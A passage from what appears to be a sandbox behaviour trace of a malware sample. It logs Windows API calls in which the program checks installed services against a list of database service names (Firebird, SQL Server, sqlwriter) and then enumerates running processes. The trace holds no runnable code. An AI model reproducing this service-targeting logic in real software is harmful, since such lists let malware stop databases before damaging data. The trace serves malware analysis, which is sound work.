(lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0088.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0088.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0088.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0088.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0088.515] lstrlenW (lpString="BITS") returned 4 [0088.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0088.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0088.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0088.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0088.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0088.515] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0088.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0088.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0088.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0088.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0088.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0088.515] lstrlenW (lpString="CDPSvc") returned 6 [0088.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0088.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0088.515] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0088.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0088.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0088.516] lstrlenW (lpString="ClickToRunSvc") returned 13 [0088.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0088.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0088.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0088.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0088.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0088.516] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0088.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0088.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0088.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0088.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0088.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0088.516] lstrlenW (lpString="CryptSvc") returned 8 [0088.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0088.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0088.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0088.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0088.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0088.516] lstrlenW (lpString="DcomLaunch") returned 10 [0088.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0088.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0088.516] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0088.516] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0088.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0088.516] lstrlenW (lpString="DeviceAssociationService") returned 24 [0088.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0088.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0088.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0088.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0088.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0088.517] lstrlenW (lpString="Dhcp") returned 4 [0088.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0088.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0088.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0088.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0088.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0088.517] lstrlenW (lpString="Dnscache") returned 8 [0088.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0088.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0088.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0088.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0088.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0088.517] lstrlenW (lpString="DoSvc") returned 5 [0088.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0088.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0088.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0088.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0088.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0088.517] lstrlenW (lpString="DPS") returned 3 [0088.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0088.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0088.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0088.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0088.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0088.518] lstrlenW (lpString="DusmSvc") returned 7 [0088.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0088.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0088.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0088.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0088.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0088.518] lstrlenW (lpString="EventLog") returned 8 [0088.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0088.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0088.518] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0088.518] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0088.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0088.518] lstrlenW (lpString="EventSystem") returned 11 [0088.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0088.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0088.518] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0088.518] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0088.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0088.518] lstrlenW (lpString="FontCache") returned 9 [0088.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0088.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0088.518] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0088.518] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0088.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0088.518] lstrlenW (lpString="gpsvc") returned 5 [0088.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0088.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0088.518] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0088.519] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0088.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0088.519] lstrlenW (lpString="iphlpsvc") returned 8 [0088.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0088.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0088.519] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0088.519] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0088.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0088.519] lstrlenW (lpString="KeyIso") returned 6 [0088.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0088.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0088.519] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0088.519] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0088.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0088.519] lstrlenW (lpString="LanmanServer") returned 12 [0088.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0088.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0088.519] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0088.519] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0088.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0088.519] lstrlenW (lpString="LanmanWorkstation") returned 17 [0088.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0088.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0088.519] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0088.519] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0088.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0088.519] lstrlenW (lpString="lfsvc") returned 5 [0088.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0088.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0088.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0088.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0088.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0088.520] lstrlenW (lpString="lmhosts") returned 7 [0088.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0088.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0088.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0088.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0088.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0088.520] lstrlenW (lpString="LSM") returned 3 [0088.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0088.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0088.520] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0088.520] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0088.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0088.520] lstrlenW (lpString="MapsBroker") returned 10 [0088.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0088.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0088.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0088.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0088.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0088.520] lstrlenW (lpString="MpsSvc") returned 6 [0088.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0088.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0088.520] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0088.520] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0088.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0088.521] lstrlenW (lpString="NcbService") returned 10 [0088.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0088.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0088.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0088.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0088.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0088.521] lstrlenW (lpString="netprofm") returned 8 [0088.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0088.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0088.521] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0088.521] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0088.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0088.521] lstrlenW (lpString="NlaSvc") returned 6 [0088.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0088.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0088.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0088.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0088.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0088.521] lstrlenW (lpString="nsi") returned 3 [0088.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0088.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0088.521] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0088.521] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0088.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0088.521] lstrlenW (lpString="PcaSvc") returned 6 [0088.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0088.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0088.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0088.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0088.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0088.522] lstrlenW (lpString="PlugPlay") returned 8 [0088.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0088.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0088.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0088.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0088.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0088.522] lstrlenW (lpString="Power") returned 5 [0088.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0088.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0088.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0088.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0088.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0088.522] lstrlenW (lpString="ProfSvc") returned 7 [0088.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0088.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0088.522] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0088.522] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0088.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0088.522] lstrlenW (lpString="RpcEptMapper") returned 12 [0088.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0088.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0088.523] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0088.523] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0088.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0088.523] lstrlenW (lpString="RpcSs") returned 5 [0088.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0088.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0088.523] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0088.523] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0088.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0088.523] lstrlenW (lpString="SamSs") returned 5 [0088.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0088.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0088.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0088.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0088.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0088.523] lstrlenW (lpString="Schedule") returned 8 [0088.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0088.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0088.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0088.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0088.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0088.523] lstrlenW (lpString="SecurityHealthService") returned 21 [0088.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0088.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0088.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0088.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0088.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0088.524] lstrlenW (lpString="SENS") returned 4 [0088.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0088.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0088.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0088.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0088.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0088.524] lstrlenW (lpString="ShellHWDetection") returned 16 [0088.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0088.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0088.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0088.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0088.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0088.524] lstrlenW (lpString="Spooler") returned 7 [0088.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0088.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0088.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0088.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0088.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0088.524] lstrlenW (lpString="SSDPSRV") returned 7 [0088.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0088.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0088.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0088.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0088.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0088.524] lstrlenW (lpString="StateRepository") returned 15 [0088.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0088.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0088.524] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0088.525] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0088.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0088.525] lstrlenW (lpString="SysMain") returned 7 [0088.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0088.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0088.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0088.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0088.525] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4f7728 | out: hHeap=0x4b0000) returned 1 [0088.525] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0088.553] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.573] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0088.574] lstrlenW (lpString="System") returned 6 [0088.574] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0088.575] lstrlenW (lpString="smss.exe") returned 8 [0088.575] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.576] lstrlenW (lpString="csrss.exe") returned 9 [0088.576] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0088.576] lstrlenW (lpString="wininit.exe") returned 11 [0088.576] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.577] lstrlenW (lpString="csrss.exe") returned 9 [0088.577] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0088.578] lstrlenW (lpString="winlogon.exe") returned 12 [0088.578] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0088.578] lstrlenW (lpString="services.exe") returned 12 [0088.578] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0088.579] lstrlenW (lpString="lsass.exe") returned 9 [0088.579] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.580] lstrlenW (lpString="svchost.exe") returned 11 [0088.580] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0088.581] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0088.581] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0088.582] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0088.582] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.582] lstrlenW (lpString="svchost.exe") returned 11 [0088.582] Process32NextW 